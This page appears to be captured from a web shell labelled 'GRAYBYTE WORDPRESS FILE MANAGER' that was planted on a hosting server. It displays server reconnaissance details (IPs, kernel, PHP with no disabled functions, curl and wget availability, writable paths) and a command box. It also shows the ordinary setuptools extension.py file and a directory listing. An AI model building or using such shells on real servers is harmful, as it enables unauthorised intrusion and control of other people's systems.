GRAYBYTE WORDPRESS FILE MANAGER6696

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/python3.8/site-packages/setuptools/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/python3.8/site-packages/setuptools//extension.py
import re
import functools
import distutils.core
import distutils.errors
import distutils.extension

from setuptools.extern.six.moves import map

from .monkey import get_unpatched


def _have_cython():
    """
    Return True if Cython can be imported.
    """
    cython_impl = 'Cython.Distutils.build_ext'
    try:
        # from (cython_impl) import build_ext
        __import__(cython_impl, fromlist=['build_ext']).build_ext
        return True
    except Exception:
        pass
    return False


# for compatibility
have_pyrex = _have_cython

_Extension = get_unpatched(distutils.core.Extension)


class Extension(_Extension):
    """Extension that uses '.c' files in place of '.pyx' files"""

    def __init__(self, name, sources, *args, **kw):
        # The *args is needed for compatibility as calls may use positional
        # arguments. py_limited_api may be set only via keyword.
        self.py_limited_api = kw.pop("py_limited_api", False)
        _Extension.__init__(self, name, sources, *args, **kw)

    def _convert_pyx_sources_to_lang(self):
        """
        Replace sources with .pyx extensions to sources with the target
        language extension. This mechanism allows language authors to supply
        pre-converted sources but to prefer the .pyx sources.
        """
        if _have_cython():
            # the build has Cython, so allow it to compile the .pyx files
            return
        lang = self.language or ''
        target_ext = '.cpp' if lang.lower() == 'c++' else '.c'
        sub = functools.partial(re.sub, '.pyx$', target_ext)
        self.sources = list(map(sub, self.sources))


class Library(Extension):
    """Just like a regular Extension, but built as a library instead"""

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 05 2024 23:45:22
root / root
0755
__pycache__
--
March 05 2024 23:45:21
root / root
0755
_vendor
--
March 05 2024 23:45:21
root / root
0755
command
--
March 05 2024 23:45:21
root / root
0755
extern
--
March 05 2024 23:45:21
root / root
0755
__init__.py
7.112 KB
April 21 2022 12:45:22
root / root
0644
_deprecation_warning.py
0.213 KB
April 21 2022 12:45:22
root / root
0644
_imp.py
2.171 KB
April 21 2022 12:45:22
root / root
0644
archive_util.py
6.438 KB
April 21 2022 12:45:22
root / root
0644
build_meta.py
9.372 KB
April 21 2022 12:45:22
root / root
0644
config.py
20.053 KB
April 21 2022 12:45:22
root / root
0644
dep_util.py
0.913 KB
April 21 2022 12:45:22
root / root
0644
depends.py
5.388 KB
April 21 2022 12:45:22
root / root
0644
dist.py
49.13 KB
April 21 2022 12:45:22
root / root
0644
extension.py
1.688 KB
April 21 2022 12:45:22
root / root
0644
glibc.py
3.072 KB
April 21 2022 12:45:22
root / root
0644
glob.py
4.965 KB
April 21 2022 12:45:22
root / root
0644
launch.py
0.769 KB
April 21 2022 12:45:22
root / root
0644
lib2to3_ex.py
1.966 KB
April 21 2022 12:45:22
root / root
0644
monkey.py
5.141 KB
April 21 2022 12:45:22
root / root
0644
msvc.py
45.655 KB
April 21 2022 12:45:22
root / root
0644
namespaces.py
3.124 KB
April 21 2022 12:45:22
root / root
0644
package_index.py
39.653 KB
April 21 2022 12:45:22
root / root
0644
pep425tags.py
10.606 KB
April 21 2022 12:45:22
root / root
0644
py27compat.py
1.461 KB
April 21 2022 12:45:22
root / root
0644
py31compat.py
0.818 KB
April 21 2022 12:45:22
root / root
0644
py33compat.py
1.299 KB
April 21 2022 12:45:22
root / root
0644
py34compat.py
0.239 KB
April 21 2022 12:45:22
root / root
0644
sandbox.py
13.941 KB
April 21 2022 12:45:22
root / root
0644
script (dev).tmpl
0.213 KB
April 21 2022 12:45:22
root / root
0644
script.tmpl
0.135 KB
April 21 2022 12:45:22
root / root
0644
site-patch.py
2.248 KB
April 21 2022 12:45:22
root / root
0644
ssl_support.py
8.294 KB
April 21 2022 12:45:22
root / root
0644
unicode_utils.py
0.973 KB
April 21 2022 12:45:22
root / root
0644
version.py
0.141 KB
April 21 2022 12:45:22
root / root
0644
wheel.py
7.904 KB
April 21 2022 12:45:22
root / root
0644
windows_support.py
0.697 KB
April 21 2022 12:45:22
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF